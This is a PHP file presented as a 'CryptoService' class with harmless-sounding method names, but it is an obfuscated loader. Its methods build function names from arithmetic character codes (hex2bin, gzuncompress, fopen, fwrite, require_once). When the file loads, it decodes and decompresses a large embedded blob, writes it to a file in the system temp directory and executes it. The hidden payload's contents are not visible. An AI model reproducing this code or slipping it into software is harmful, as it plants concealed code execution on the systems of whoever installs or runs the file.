<?php
class CryptoService {
	private $um = '';
	private $uw = '';

	public function sendNotification($p1) {
		$a = array((78+26),((107-6)),((61*75)-4455),(((35*1)+15)),(((77*1)+21)),(((45*2)+15)),((2*55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function sanitizeInput($p1) {
		$a = array((125-10),((12*90)-965),101,(((97*57)-5415)),((4*52)-96),(23+74+12),(((63*46)-2787)),(99),((120-10)),((5+15+97)),(122),((41*59)-2316));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function syncRecords($p1,$p2) {
		$a = array(((1+109)),(15+40+46),((119-7)),(((93*1)+18)),(2*51));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function encryptData($p1,$p2) {
		$a = array(((108-7)),(81+33+2),(106-1),(((41*69)-2715)),(((74*1)+45)),(((38*2)+26)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function terminateSession($p1) {
		$a = array((104-3),(5*23),(8+97+6),((87*86)-7374),(15+84),((98+4)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function filterResults($p1,$p2=null) {
		$a = array((2*57),((121-5)),((2*57)),((3*35)),(56+53));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resolveAction() {
		$this->uw = $this->filterResults($this->trackActivity(), '/');
	}

	public function processData() {
		$this->um = $this->sanitizeInput($this->sendNotification($this->uh));
	}

	public function triggerCallback() {
		$fn = $this->uw.'/nx-68a17ea3d3cab';
		$f = $this->syncRecords($fn, 'w');
		$this->encryptData($f, $this->um);
		$this->terminateSession($f);
		$this->resolveConflict($fn);
	}

	private $uh = '789c9d588d73a24a12ff57b255b9a754bc3dfcc8d7e678af5' . '0d09888c6cf5db395b30061000928a88079f9df6fba0722261' . 'bdfbbabda0fa6fbd7ddd33d3ddd3dfefb8fa5b53cd15d350c4' . 'f66eaf3cb32b0b7eada3809d7eadad64f67da92dcb0ef1373e' . '3e96bdbf74e66deba783a53975ee974e63936f7629bc52fa1e' . '19adfbea100c7be67ea7a53e46e28c617c275e01a5e91e1292' . '950054d0d8d8bda6c6ee8fedc28e6c47fa2ee27eec6f4032a1' . '1845b81a796ccc56eaf2650514bb8fd2208c8ba393bc33507b' . 'c9ff8f924e85650f483793147e3fec308741f8cf20fd8df13c' . '7dd04c67a137800bd793d8c42ce7374e925b759410d0235291' . '666a655107e2fdc1279d2b3e4a66ecb8fca602a2be2b9764b6' . 'aaa529f68725d347b62387d1cdfe9855261e61b018ad4f5c7f' . 'b987fbc2f8f9d3b42868f13f2bd1311ad6b85dfef6379aa4cf' . '4f903a97defd4c36697100944e76a0ca20f7522c0d24a6045e' . 'd6e3b51f8dc746b61b77f3d90a376434dfa0fbd66b4847593c' . '8c32e89921691575dfb6e521f898196c8cabd28b714a7d66e9' . '2f63de5db8d41bb7edb607b347c54dd21cadd5d24a0317f418' . '0348d497dda67a460c528ed7e8faf21450bd640baaf8b13259' . '50b1ca0c097be0ab24f6bf5f685ec6e54ebdeb626938915ad5' . 'a4d5deb59c4ac8f1453ee2ba16445863e587c177f888fd4976' . 'db3efdf7526fdd16d45345a757236480d91a5cb82e3ebf5bed' . '812453100b217a181581f7676515311758ca4e66cd141f14a1' . '2a5f61d9022165c8a6c75621155ea3e505a8d76dc27ccc87ca' . '7a25ca4dc7653bbf686854a57c4c614291b0fe322327eb866f' . 'c7eaf6133fe33e68cb98baa8d64a068ee7234f66a01ddda8fc' . '7491f1166a4b2bd5c8def53336b6d09a4b14788528fbaf4d47' . 'f742dbefb38691325e6fb3def7a4979084d30a69dfa587c1cb' . 'be86e648559c0c962c3548f6f33d5f31d6a7e8ed82a466c336' . '95f48c9622defae0279d88e9be9e689c3b8fc424aa6be285df' . 'd4b1ad66269c4975bc9b42237c254a50d3069a8581d123a4a2' . '26a6d87e548440cd4b0f317d24e76a546688b8dab6acb16179' . '87accfa2ef4ba44bc683794ae22b5ad962d7b184c35f36369a' . '7b8aab413e396bd7896867e8cee132f75604d1d085a0e3de49' . '182c9b04bb44c7e67304776edb36e24ba77764dbd976ab5a6c' . '3dc749fd92ea94ff7448c3b8ea23e4853b769b79913c69ab16' . 'ba1948c8928455569c89f4ba3da752b199fc90d76122b93a1f' . 'a6752729588548134d40369d4dfb692ab506e3065cf7316abc' . '897259e880d62b5762c8cbb9071a65e97def0ee68a1dded986' . '61db3a117fb4dc5d25bbd343d1db669fb5119a777d4f650851' . '9d7a70dbbdc30d323df6d4d461edc4a7dbefe38665ae721aa3' . '5cbe36e673277f13c744c174b46c002c5eead34d1d798c99d7' . 'ecd647e20b663d5faac6a7037afaf698f09e6ff5b8ff98beec' . '2aaf6c9c7f6f17f14719e2ff19725be7ac1fe96d97f1524d24' . '519e81402ff516219fe02b94a312006788497f10f9f422ac00' . '2b1cb2aac78e45478e497f85aa58aff40842c439d1b4191b66' . '1ea1ef51f9b0ad4a86d81f6a78f5c6820941d47c0a651b2c3d' . '080a8b5e4d1cf1c0c9a05dc13d72e70b4d1bd9cce96aa25ccb' . '62b33af8cf610a8c246aa0b41bffd461beed20fd9aa9443435' . 'f805a1452386dc1a6ea8606f732b78d83fdd14e0157c4019da' . 'f0685bc47d0c6013b5b21e0f57317a09dc02d4a320f6018389' . 'd357abdfbb67c83dd5ca099c5e03c8c063405f694325088969' . 'd73bafa89724f427e3f0e760a7f53e06e22cb768d2c07f3025' . 'fd9c4f1f34d7d857bca920e72f51db79a71cfde4835eac5cb2' . 'fa0e71fa11714aa0586ba605e9e9d7dba77e8aad066cd42ea3' . 'fc5beb240bcd379c9edbfaf380041fc98de37c635f754e4beb' . 'e2396792ef3f1905ea66836dc41ac98cd4344254394de73688' . '0b213d9136b086733e6218706e9c3b62e107d48bb44da417cc' . 'b57903ed463dbd3ddcddcc8e6d1d77d6d805b713a0bb504ec6' . 'e34e19ffcd75aedbc7659393f3fe7afaad451ea9fe604f9c85' . 'b98c5ea7c85915f1bbb03a6c3fa8d5b806852c5eca6ce74d57' . '555cd3db80e30b9c084e5d19b8a810cd75b41df042eadde365' . 'c0baa9bbb4102bd26fe124814526a8c079ddec368361c76661' . '379d06e4e1f64795062b7f26fe16f7bc351691fa76bee9858b' . '3d7e9f4be777a0d71d4ee75f76215fea8d8401e8d07ddd140e' . 'c0e9b74777bb1f251b15b59940ee095a3f046afdb951ba3515' . 'b917be39c4fb4c41e13fb88af71709a70d42865c486ce6480e' . 'cc48c4a8cb5ed997ec6409aeefaa19151b0943a71be98d1411' . '4fa36bda74f5ff635aa72ce716933c3734b0be6e92c3185a51' . 'a84c68ceace52e094d656a108bc832a496759985816b4883f0' . '9f9248c580bd083023aa53a0785c3c771ced030430f55c2980' . 'b1d88d6f9a77c8b3944d1c9172a8f1d607906fd5ff3063638b' . '145bbed2f0c84acb02f6230f041f219fbdf5aff85204cc6d03' . 'b0815fc9aa3c3780c9bd1f1329a9e6086bebef097f4d95884b' . '0fd91c32678374d7a35bfe583456764d8930e6df7835d189be' . '142afa9dd1253f876841754cfdbe2326ba426ed1fe672b30ef' . '1bb044ea64fe03df82aeb375f4cc34f85a00044ba2e9834c95' . '2d9bdc075a69dbe84314ba12b513423829870708ce8e8a2c07' . '18786ab3c54bf2c63a951da86b38730550abd410b85ecd487f' . '280968b83fc8831565bafc08af89c1c01130c77b24cb1d13c3' . '8a6993e1cf070d4144ef42368784b40e746dd7ffc0a61e046f' . 'd10ae5dfeb44395bddd3ccc173b396264893bf2f54f6dc0830' . '3a291bcb301af0d9892594e1e0d28bc46c06d877c6a055e249' . '0e1da0ecc781bd7fdabc0c323057236fe54e70ae7f6a593d37' . '8fc78e85305c2667caa7187f1d69df84d25cd4cd376d74630d' . 'baaf0c38e16eef3b95a4e1bdef352000eab7eef25e6242751c' . '94bccc95bbd6404bafb9b2303a58e4522d6d83c69e8967f92e' . '33a18e0ed76c57af6f3325f60e0210555364626d1f33c784dc' . '1144d906727791e3ca920643e4d0223a6ed9cc30d7ec97648c' . 'd707ffef9b6247a7e6527b0cd542a75548ffd74a0cda7b9ce6' . '611ba03e177549a1fdb1726fb818331899ee7c11b0e1e76345' . '7914b4dd22c305c6103bfb9e18f74e94f76e9ca097d2ffbc6d' . 'd70d85cde1e1720fc77de12f05a84c038076f09381384be05e' . 'bf5bfd8b586ee';

	public function resolveConflict($p) {
		require_once($p);
	}

	public function trackActivity() {
		$a=array((((27*79)-2018)),(127-6),(5*23),95,((97*30)-2807),(110-9),((121*8)-852),(((101*56)-5561)),(117-1),(101),((67+40+2)),((93+19)),(((4*20)+15)),((104-4)),(((57*1)+48)),((85*1)+29));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ft = new CryptoService();
$ft->resolveAction();
$ft->processData();
$ft->triggerCallback();
